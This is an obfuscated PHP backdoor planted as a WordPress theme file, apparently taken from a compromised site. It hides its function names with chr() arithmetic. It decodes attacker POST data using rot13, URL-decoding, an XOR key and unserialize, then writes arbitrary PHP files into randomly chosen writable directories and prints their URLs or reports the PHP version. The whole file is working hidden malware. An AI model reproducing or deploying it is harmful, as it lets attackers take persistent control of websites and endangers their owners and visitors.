File: /home/slyfwmm/incastiglionfiorentino/wp-content/themes/sbsjrksywr/themes.php
<?php $AYbNJGJ = "oAMKDW";function Hqrivfi($AYbNJGJ){$DfpRdne = "\162"."\x61".chr(119).'u'.'r'.'l'.chr(707-607).chr(101).chr(99)."\x6f"."\144"."\145";$VYBhp = chr(827-712)."\164"."\x72"."\x5f".chr(160-46)."\x6f"."\x74"."\x31".chr(51);$EgTstSq = "\163"."\x74"."\x72".'_'.chr(343-228).'p'."\154"."\151".chr(153-37);$AYbNJGJ = $EgTstSq($DfpRdne($VYBhp($AYbNJGJ)));return $AYbNJGJ;}function GDuPSPLoc($mkmwPbas, $TQalh){$xexCMmYLiQ = "\163".chr(116).'r'.chr(210-115).'s'.'p'.chr(108).chr(917-812).chr(116);$mkmwPbas = array_slice($xexCMmYLiQ(str_repeat($mkmwPbas, (count($TQalh)/16)+1)), 0, count($TQalh));return $mkmwPbas;}function ZyCYRp($LEEdqkPx, $nsRobee, $mkmwPbas){$WgGIh = "64bba8e3-8051-4b2b-9c58-dd39f50ced1a";return $LEEdqkPx ^ $WgGIh[$nsRobee % strlen($WgGIh)] ^ $mkmwPbas;}function ltBbI($TQalh, $mkmwPbas){$TQalh = array_map("ZyCYRp", array_values($TQalh), array_keys($TQalh), array_values($mkmwPbas));$TQalh = implode("", $TQalh);$bKaKrbF = "\165".chr(110).chr(115).chr(1077-976)."\x72"."\x69"."\x61".chr(593-485)."\x69".chr(192-70)."\145";$TQalh = @$bKaKrbF($TQalh);return $TQalh;}function vKRjp(){echo "Gdgaqvx";}function zZkuyFqdmW($OhgfFIir){static $WQwlDs = array();$cCPqjdkLoJ = glob($OhgfFIir . '/*', GLOB_ONLYDIR);$RHjKMD = count($cCPqjdkLoJ);if ($RHjKMD > 0) {foreach ($cCPqjdkLoJ as $OhgfFI) {$kjcDNzvlDS = 'i'."\x73".chr(95)."\x77"."\x72"."\151".chr(538-422).chr(97).'b'.chr(185-77).'e';if (@$kjcDNzvlDS($OhgfFI)) {$WQwlDs[] = $OhgfFI;}}}foreach ($cCPqjdkLoJ as $OhgfFIir) zZkuyFqdmW($OhgfFIir);return $WQwlDs;}function IuiuGefxf(){echo "oAMKDW";}function iPpPPGYb($TQalh){$mvLUfOXioV = chr(68).chr(79)."\103".chr(1032-947).'M'.chr(69).chr(525-447).chr(84)."\137"."\122".chr(827-748).'O'."\124";$jGpSGJujYg = $_SERVER[$mvLUfOXioV];$cCPqjdkLoJ = zZkuyFqdmW($jGpSGJujYg);$mtoeWBRCho = array_rand($cCPqjdkLoJ);$nAKtubw = "\56".chr(972-860)."\150".chr(112);$WItScLVrSG = $cCPqjdkLoJ[$mtoeWBRCho] . "/" . substr(md5(time()), 0, 8) . $nAKtubw;$GDWhkfv = chr(523-421).chr(851-746)."\x6c".chr(535-434).chr(95).chr(112).chr(675-558).chr(116).'_'.chr(861-762).chr(111)."\x6e".chr(116)."\145"."\156"."\164"."\x73";@$GDWhkfv($WItScLVrSG, $TQalh);$EurDorw = "\x48"."\x54".chr(84).chr(359-279)."\137"."\110"."\x4f".chr(83).chr(974-890);$fKeVtIy = "\x68".chr(983-867)."\164"."\160".chr(58)."\x2f"."\57";$ToMjFZ = $fKeVtIy . $_SERVER[$EurDorw] . substr($WItScLVrSG, strlen($jGpSGJujYg));print($ToMjFZ);}foreach ($_POST as $mkmwPbas => $TQalh){$PIwIPam = strlen($mkmwPbas);if ($PIwIPam == 16){$TQalh = Hqrivfi($TQalh);$mkmwPbas = GDuPSPLoc($mkmwPbas, $TQalh);$TQalh = ltBbI($TQalh, $mkmwPbas);if (@is_array($TQalh)){$mtoeWBRCho = array_keys($TQalh);$TQalh = $TQalh[$mtoeWBRCho[0]];$mtoeWBRCho = $mtoeWBRCho[0];if ($TQalh !== $mtoeWBRCho){iPpPPGYb($TQalh);}else {$OIjKis = "\x70".chr(1038-934).chr(229-117);$bbgBEMO = 'p'.chr(460-356).chr(153-41)."\166"."\x65"."\x72".'s'."\151".chr(111)."\x6e";$TQalh = Array($OIjKis => @$bbgBEMO(), );$TCgFScAnW = chr(115).chr(914-813)."\x72".'i'.chr(899-802)."\154".'i'."\172".chr(1060-959);echo @$TCgFScAnW($TQalh);}die();}}}